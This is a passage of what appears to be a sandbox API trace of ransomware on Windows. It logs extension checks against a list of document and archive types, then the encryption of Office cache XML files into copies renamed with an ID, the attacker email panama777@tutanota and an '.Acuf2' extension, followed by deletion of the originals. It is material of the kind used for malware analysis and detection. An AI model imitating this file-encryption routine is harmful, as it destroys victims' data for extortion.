	[0038.804] lstrlenW (lpString=".ppt") returned 4
	[0038.804] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.804] lstrlenW (lpString=".zip") returned 4
	[0038.804] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.804] lstrlenW (lpString=".rar") returned 4
	[0038.804] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.804] lstrlenW (lpString=".bz2") returned 4
	[0038.804] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.804] lstrlenW (lpString=".7z") returned 3
	[0038.804] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.805] lstrlenW (lpString=".dbf") returned 4
	[0038.805] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.805] lstrlenW (lpString=".1cd") returned 4
	[0038.805] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.805] lstrlenW (lpString=".jpg") returned 4
	[0038.805] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.805] lstrlenW (lpString=".doc") returned 4
	[0038.805] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.805] lstrlenW (lpString=".docx") returned 5
	[0038.805] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.805] lstrlenW (lpString=".pdf") returned 4
	[0038.805] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.805] lstrlenW (lpString=".xls") returned 4
	[0038.805] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.805] lstrlenW (lpString=".xlsx") returned 5
	[0038.805] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.805] lstrlenW (lpString=".ppt") returned 4
	[0038.805] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.805] lstrlenW (lpString=".zip") returned 4
	[0038.805] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.805] lstrlenW (lpString=".rar") returned 4
	[0038.805] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.805] lstrlenW (lpString=".bz2") returned 4
	[0038.805] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.806] lstrlenW (lpString=".7z") returned 3
	[0038.806] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.806] lstrlenW (lpString=".dbf") returned 4
	[0038.806] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.806] lstrlenW (lpString=".1cd") returned 4
	[0038.806] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77
	[0038.806] lstrlenW (lpString=".jpg") returned 4
	[0038.806] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.806] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.806] lstrlenW (lpString="Setup.xml") returned 9
	[0038.806] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.806] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1872) returned 1
	[0038.806] CloseHandle (hObject=0x178) returned 1
	[0038.806] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0038.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.807] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.807] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0038.807] GetLastError () returned 0x0
	[0038.807] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x750, lpOverlapped=0x0) returned 1
	[0038.808] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x760, lpOverlapped=0x0) returned 1
	[0038.809] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.809] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.810] SetEndOfFile (hFile=0x17c) returned 1
	[0038.810] CloseHandle (hObject=0x17c) returned 1
	[0038.810] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.810] SetEndOfFile (hFile=0x178) returned 1
	[0038.811] CloseHandle (hObject=0x178) returned 1
	[0038.811] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.812] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.812] lstrlenW (lpString=".doc") returned 4
	[0038.812] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.812] lstrlenW (lpString=".docx") returned 5
	[0038.812] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.812] lstrlenW (lpString=".pdf") returned 4
	[0038.812] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.812] lstrlenW (lpString=".xls") returned 4
	[0038.812] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.812] lstrlenW (lpString=".xlsx") returned 5
	[0038.812] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.812] lstrlenW (lpString=".ppt") returned 4
	[0038.812] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.812] lstrlenW (lpString=".zip") returned 4
	[0038.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.812] lstrlenW (lpString=".rar") returned 4
	[0038.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.812] lstrlenW (lpString=".bz2") returned 4
	[0038.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.812] lstrlenW (lpString=".7z") returned 3
	[0038.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.812] lstrlenW (lpString=".dbf") returned 4
	[0038.812] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.813] lstrlenW (lpString=".1cd") returned 4
	[0038.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.813] lstrlenW (lpString=".jpg") returned 4
	[0038.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.813] lstrlenW (lpString=".doc") returned 4
	[0038.813] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.813] lstrlenW (lpString=".docx") returned 5
	[0038.813] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.813] lstrlenW (lpString=".pdf") returned 4
	[0038.813] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.813] lstrlenW (lpString=".xls") returned 4
	[0038.813] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.813] lstrlenW (lpString=".xlsx") returned 5
	[0038.813] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.813] lstrlenW (lpString=".ppt") returned 4
	[0038.813] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.813] lstrlenW (lpString=".zip") returned 4
	[0038.813] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.813] lstrlenW (lpString=".rar") returned 4
	[0038.813] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.813] lstrlenW (lpString=".bz2") returned 4
	[0038.813] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.813] lstrlenW (lpString=".7z") returned 3
	[0038.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.814] lstrlenW (lpString=".dbf") returned 4
	[0038.814] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.814] lstrlenW (lpString=".1cd") returned 4
	[0038.814] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.814] lstrlenW (lpString=".jpg") returned 4
	[0038.814] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.814] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.814] lstrlenW (lpString="GrooveMUI.xml") returned 13
	[0038.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0039.360] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=913) returned 1
	[0039.362] CloseHandle (hObject=0x194) returned 1
	[0039.389] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020
	[0039.389] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.389] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0039.389] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.389] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.389] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0039.389] GetLastError () returned 0x0
	[0039.389] ReadFile (in: hFile=0x194, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x391, lpOverlapped=0x0) returned 1
	[0039.509] WriteFile (in: hFile=0x178, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x3a0, lpOverlapped=0x0) returned 1
	[0039.510] ReadFile (in: hFile=0x194, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.510] WriteFile (in: hFile=0x178, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0039.510] SetEndOfFile (hFile=0x178) returned 1
	[0039.510] CloseHandle (hObject=0x178) returned 1
	[0039.511] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.511] SetEndOfFile (hFile=0x194) returned 1
	[0039.511] CloseHandle (hObject=0x194) returned 1
	[0039.512] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.512] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1
	[0039.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.512] lstrlenW (lpString=".doc") returned 4
	[0039.512] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.512] lstrlenW (lpString=".docx") returned 5
	[0039.512] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0039.512] lstrlenW (lpString=".pdf") returned 4
	[0039.512] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.512] lstrlenW (lpString=".xls") returned 4
	[0039.512] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.512] lstrlenW (lpString=".xlsx") returned 5
	[0039.512] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0039.512] lstrlenW (lpString=".ppt") returned 4
	[0039.512] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.512] lstrlenW (lpString=".zip") returned 4
	[0039.512] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.512] lstrlenW (lpString=".rar") returned 4
	[0039.512] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.512] lstrlenW (lpString=".bz2") returned 4
	[0039.513] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.513] lstrlenW (lpString=".7z") returned 3
	[0039.513] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.513] lstrlenW (lpString=".dbf") returned 4
	[0039.513] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.513] lstrlenW (lpString=".1cd") returned 4
	[0039.513] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.513] lstrlenW (lpString=".jpg") returned 4
	[0039.513] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.513] lstrlenW (lpString=".doc") returned 4
	[0039.513] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.513] lstrlenW (lpString=".docx") returned 5
	[0039.513] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0039.513] lstrlenW (lpString=".pdf") returned 4
	[0039.513] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.514] lstrlenW (lpString=".xls") returned 4
	[0039.514] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.514] lstrlenW (lpString=".xlsx") returned 5
	[0039.514] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0039.514] lstrlenW (lpString=".ppt") returned 4
	[0039.514] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.514] lstrlenW (lpString=".zip") returned 4
	[0039.514] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.514] lstrlenW (lpString=".rar") returned 4
	[0039.514] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.514] lstrlenW (lpString=".bz2") returned 4
	[0039.514] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.514] lstrlenW (lpString=".7z") returned 3
	[0039.514] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.514] lstrlenW (lpString=".dbf") returned 4
	[0039.514] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.514] lstrlenW (lpString=".1cd") returned 4
	[0039.514] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0039.514] lstrlenW (lpString=".jpg") returned 4
	[0039.514] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.514] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.514] lstrlenW (lpString="Office32WW.xml") returned 14
	[0039.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0039.542] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=4274) returned 1
	[0039.542] CloseHandle (hObject=0x168) returned 1
	[0039.542] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020
	[0039.542] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.542] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0039.542] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.542] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.542] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0039.543] GetLastError () returned 0x0
	[0039.543] ReadFile (in: hFile=0x168, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x10b2, lpOverlapped=0x0) returned 1
	[0039.545] WriteFile (in: hFile=0x160, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x10c0, lpOverlapped=0x0) returned 1
	[0039.546] ReadFile (in: hFile=0x168, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.546] WriteFile (in: hFile=0x160, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0039.546] SetEndOfFile (hFile=0x160) returned 1
	[0039.546] CloseHandle (hObject=0x160) returned 1
	[0039.547] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.547] SetEndOfFile (hFile=0x168) returned 1
	[0039.547] CloseHandle (hObject=0x168) returned 1
	[0039.547] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
